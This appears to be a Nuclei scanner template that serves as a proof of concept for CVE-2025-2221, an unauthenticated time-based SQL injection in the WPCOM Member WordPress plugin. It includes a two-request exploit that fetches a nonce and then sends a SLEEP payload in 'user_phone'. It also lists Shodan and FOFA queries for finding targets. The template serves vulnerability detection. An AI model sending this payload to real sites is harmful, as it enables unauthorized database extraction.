WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.
PoC
id: CVE-2025-2221
info:
name: WordPress WPCOM Member <= 1.7.6 - SQL Injection
author: neosmith1,0x_Akoko
severity: high
description: |
WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.
impact: |
Attackers can extract sensitive database information, potentially leading to data breach and privacy violations.
remediation: |
Update to the latest version of the plugin that addresses this vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpcom-member/wpcom-member-176-unauthenticated-sql-injection
- https://plugins.trac.wordpress.org/browser/wpcom-member/tags/1.7.6/includes/class-sesstion.php#L35
- https://nvd.nist.gov/vuln/detail/CVE-2025-2221
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-2221
epss-score: 0.01706
epss-percentile: 0.76127
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: Bastien Ho
product: wpcom-member
shodan-query: http.component:"WordPress"
fofa-query: body="wpcom-member"
tags: cve,cve2025,wordpress,wp-plugin,sqli,wpcom-member,unauthenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpcom_login_modal&type=login
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'member_form_login_nonce" value="([a-z0-9]+)"'
part: body
internal: true
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "member_form_login_nonce")
- nonce != ""
condition: and
internal: true
- raw:
- |
@timeout: 25s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpcom_login&user_phone=1%27+AND+%28SELECT+1+FROM+%28SELECT+SLEEP%286%29%29a%29--+-&sms_code=123456&member_form_login_nonce={{nonce}}
matchers:
- type: dsl
dsl:
- duration >= 6
- status_code == 200
condition: and
# digest: 4b0a00483046022100be6d7538ebd499fe7cc5e42005cbeb18866e79c3cf0f87d1ce3b0cb5888e6d46022100edb5664f8a542a31a5bc5cec0cf4f75288e6c7f7e59cb3fe8cde493ae3d85724:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.